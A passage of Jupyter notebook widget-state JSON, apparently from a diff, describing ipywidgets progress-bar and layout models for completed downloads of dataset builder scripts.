"HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_42a4cd25bb6a46a9a3b4fe4b6da96eab", + "placeholder": "​", + "style": "IPY_MODEL_c02ba744e0414508bc0e24e015c5ef57", + "value": " 150/150 [00:00<00:00, 6579.78it/s]" + } + }, + "5a2db2886a72478da3ec0b67f8e88c48": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a99e7f4228fb4a8e8589e30677ccde74": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c4f8b2b6f66c4108a12944505952c1ea": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c069ba18441347d2875a8c366b23c3ff": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0cafd43406ac46c6b307adb6c36746df": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "42a4cd25bb6a46a9a3b4fe4b6da96eab": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c02ba744e0414508bc0e24e015c5ef57": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "017d3b681a1248eeaac5787621356258": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_83c008a35cb24407ae96ac46a6ca4c2a", + "IPY_MODEL_4895214231854f0ab17dc98a711772b3", + "IPY_MODEL_e34ff62351d8441593698b13d46bc18e" + ], + "layout": "IPY_MODEL_a66a957b6c15453c8a525bcaf2f2a805" + } + }, + "83c008a35cb24407ae96ac46a6ca4c2a": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f4bc4c6164624dcab5f8fe95e7ad5a31", + "placeholder": "​", + "style": "IPY_MODEL_4171150fd5394d4989498ce951839a96", + "value": "100%" + } + }, + "4895214231854f0ab17dc98a711772b3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4cfcbd9389734994997e4f0812f018c8", + "max": 3, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_6fd1258d4d374358ba261425b5260740", + "value": 3 + } + }, + "e34ff62351d8441593698b13d46bc18e": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a21b1102a4d842b394adba0a1e758a39", + "placeholder": "​", + "style": "IPY_MODEL_27ab1ed3b5dd413991017b9fecc0903c", + "value": " 3/3 [00:00<00:00, 43.84it/s]" + } + }, + "a66a957b6c15453c8a525bcaf2f2a805": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f4bc4c6164624dcab5f8fe95e7ad5a31": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4171150fd5394d4989498ce951839a96": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4cfcbd9389734994997e4f0812f018c8": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6fd1258d4d374358ba261425b5260740": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a21b1102a4d842b394adba0a1e758a39": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "27ab1ed3b5dd413991017b9fecc0903c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a6f5330da3834963b3a47f9f9bb6a657": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9a0cee1fc0644c768a1e7cfc7bb65469", + "IPY_MODEL_c303a871150b40cf9209fc3f6da02e7d", + "IPY_MODEL_9422c52eef304328a65551949c4eb982" + ], + "layout": "IPY_MODEL_7834179cb085439c96b265e34ca19309" + } + }, + "9a0cee1fc0644c768a1e7cfc7bb65469": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2e7a21ab2dfc4858bd7d43451b16a179", + "placeholder": "​", + "style": "IPY_MODEL_9e3e30be4469468d8451dc6761d16bf6", + "value": "Downloading builder script: 100%" + } + }, + "c303a871150b40cf9209fc3f6da02e7d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_343707c48e984b26a09c4adc25a510a5", + "max": 4203, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_444820c45f1241c59d0f7d1082e4c8d7", + "value": 4203 + } + }, + "9422c52eef304328a65551949c4eb982": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1933b7094ac4474abc1f48605ca4e0c4", + "placeholder": "​", + "style": "IPY_MODEL_db1683f3d8f44d4797dbc2a0f808bd2a", + "value": " 4.20k/4.20k [00:00<00:00, 293kB/s]" + } + }, + "7834179cb085439c96b265e34ca19309": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2e7a21ab2dfc4858bd7d43451b16a179": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9e3e30be4469468d8451dc6761d16bf6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "343707c48e984b26a09c4adc25a510a5": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "444820c45f1241c59d0f7d1082e4c8d7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "1933b7094ac4474abc1f48605ca4e0c4": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "db1683f3d8f44d4797dbc2a0f808bd2a": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "40eaac98a5b642b28298028de5b0a8f0": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9185dd3b67964f1191210a7b104c4a88", + "IPY_MODEL_5280d259979548ae9b302d3bfd06a1bd", + "IPY_MODEL_1aa0c864c04d42329974b10668dd5eb7" + ], + "layout": "IPY_MODEL_a2699e131c4448d5bcc890f1f0c22c63" + } + }, + "9185dd3b67964f1191210a7b104c4a88": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f40b643bece248458e3373e19f456325", + "placeholder": "​", + "style": "IPY_MODEL_dcf80cee15294d12aa9f5f2648a95028", + "value": "Downloading builder script: 100%" + } + }, + "5280d259979548ae9b302d3bfd06a1bd": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1d0d738bddde42df9c434fe77f5c0307", + "max": 6771, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c8aeb58e12b8427bb547022d7076a38b", + "value": 6771 + } + }, + "1aa0c864c04d42329974b10668dd5eb7": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_04e02d2b23c149389db0cb519880b175", + "placeholder": "​", + "style": "IPY_MODEL_0f67af90cad747b99865abef12dd16a9", + "value": " 6.77k/6.77k [00:00<00:00, 270kB/s]" + } + }, + "a2699e131c4448d5bcc890f1f0c22c63": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f40b643bece248458e3373e19f456325": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dcf80cee15294d12aa9f5f2648a95028": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1d0d738bddde42df9c434fe77f5c0307": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c8aeb58e12b8427bb547022d7076a38b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "04e02d2b23c149389db0cb519880b175": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "0f67af90cad747b99865abef12dd16a9": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": 